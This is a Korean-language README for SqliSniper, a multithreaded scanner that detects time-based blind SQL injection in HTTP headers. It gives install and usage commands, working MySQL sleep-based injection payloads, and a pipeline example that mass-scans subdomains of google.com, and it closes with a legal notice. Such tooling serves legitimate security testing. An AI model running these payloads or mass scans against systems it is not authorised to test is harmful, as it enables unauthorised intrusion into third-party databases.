
HTTP 헤더를 위한 고급 시간 기반 블라인드 SQL 인젝션 퍼저
기능 • 설치 • 사용법 • SqliSniper 실행 • 기여 •
SqliSniper는 HTTP 요청 헤더에서 시간 기반 블라인드 SQL 인젝션을 탐지하도록 설계된 강력한 Python 도구입니다. 다중 스레드를 활용하여 속도와 효율성을 보장하며 잠재적 취약점을 신속하게 스캔하고 식별함으로써 보안 평가 프로세스를 향상시킵니다. 다른 스캐너와 달리 SqliSniper는 오탐(false positive)을 제거하고 탐지 시 내장된 Discord 알림 기능을 통해 경고를 보내도록 설계되었습니다.

git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt
다음은 도구의 도움말을 표시합니다. 지원되는 모든 옵션입니다.
ubuntu:~/sqlisniper$ ./sqlisniper.py -h
███████╗ ██████╗ ██╗ ██╗ ███████╗███╗ ██╗██╗██████╗ ███████╗██████╗
██╔════╝██╔═══██╗██║ ██║ ██╔════╝████╗ ██║██║██╔══██╗██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║ ███████╗██╔██╗ ██║██║██████╔╝█████╗ ██████╔╝
╚════██║██║▄▄ ██║██║ ██║ ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝ ██╔══██╗
███████║╚██████╔╝███████╗██║ ███████║██║ ╚████║██║██║ ███████╗██║ ██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝
-: Muhammad Danial 제작 :-
usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PAYLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
[--threads THREADS]
악성 쿼리를 전송하여 SQL 인젝션 탐지
options:
-h, --help 도움말 메시지를 표시하고 종료
-u URL, --url URL 대상의 단일 URL
-r URLS_FILE, --urls_file URLS_FILE
URL 목록이 포함된 파일
-p, --pipeline 파이프라인에서 읽기
--proxy PROXY 요청 인터셉트를 위한 프록시 (예: http://127.0.0.1:8080)
--payload PAYLOAD 악성 페이로드가 포함된 파일 (기본값: payloads.txt)
--single-payload SINGLE_PAYLOAD
테스트용 단일 페이로드
--discord DISCORD Discord Webhook URL
--headers HEADERS 헤더가 포함된 파일 (기본값: headers.txt)
--threads THREADS 스레드 수
-u 플래그로 URL을 제공하여 단일 사이트 스캔 가능
./sqlisniper.py -u http://example.com
-r 플래그를 사용하면 SqliSniper가 여러 URL이 포함된 파일을 읽어 동시에 스캔할 수 있습니다.
./sqlisniper.py -r url.txt
SqliSniper는 -p 플래그를 사용하여 파이프라인 입력과도 작동할 수 있습니다.
cat url.txt | ./sqlisniper.py -p
파이프라인 기능은 다른 도구와의 원활한 통합을 가능하게 합니다. 예를 들어 subfinder와 httpx 같은 도구를 사용하고 그 출력을 SqliSniper로 파이프하여 대량 스캔을 수행할 수 있습니다.
subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p
기본적으로 SqliSniper는 payloads.txt 파일을 사용합니다. 그러나 --payload 플래그로 사용자 정의 페이로드 파일을 제공할 수 있습니다.
./sqlisniper.py -u http://example.com --payload mssql_payloads.txt
사용자 정의 페이로드 파일을 사용할 때는 sleep 시간을 %__TIME_OUT__%로 대체해야 합니다. SqliSniper는 잠재적인 오탐을 완화하기 위해 반복적으로 sleep 시간을 동적으로 조정합니다.
페이로드 파일은 다음과 같이 보여야 합니다.
ubuntu:~/sqlisniper$ cat payloads.txt
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z
단일 페이로드로만 테스트하려면 --single-payload 플래그를 사용할 수 있습니다. sleep 시간을 %__TIME_OUT__%로 바꾸는 것을 잊지 마세요.
./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"
헤더는 headers.txt 파일에 저장됩니다. 사용자 정의 헤더로 스캔하려면 사용자 정의 HTTP 요청 헤더를 headers.txt 파일에 저장하세요.
ubuntu:~/sqlisniper$ cat headers.txt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1
SqliSniper는 또한 Discord 웹훅을 통한 실시간 알림을 제공하는 Discord 알림 기능을 제공하여 대규모 스캔 중에 신속한 알림을 가능하게 합니다. 이 기능은 탐지 시 즉시 알림을 받을 수 있어 매우 유용합니다.
./sqlisniper.py -r url.txt --discord <web_hookurl>
--threads 플래그로 스레드를 정의할 수 있습니다.
./sqlisniper.py -r url.txt --threads 10
참고: 더 많은 스레드를 사용하면 잠재적인 오탐이 발생하거나 유효한 문제를 놓칠 수 있습니다. 시간 기반 SQL 인젝션의 특성상 더 정확한 탐지를 위해 더 적은 스레드를 사용하는 것이 좋습니다.
법적 고지사전 상호 동의 없이 대상을 공격하기 위해 이 도구를 사용하는 것은 엄격히 금지됩니다. 모든 관련 현지, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 어떠한 책임도 지지 않으며 이 프로그램의 오용이나 손해에 대해 책임지지 않습니다. |
SqliSniper에 대한 기여는 언제나 환영합니다. 기능 개선, 버그 수정, 문서 개선 등 모든 도움이 소중하게 여겨집니다.
SqliSniper는 MIT 라이선스에 따라 배포됩니다.
SqliSniper는
와 많은 💙 로 @Muhammad Danial이 제작했습니다.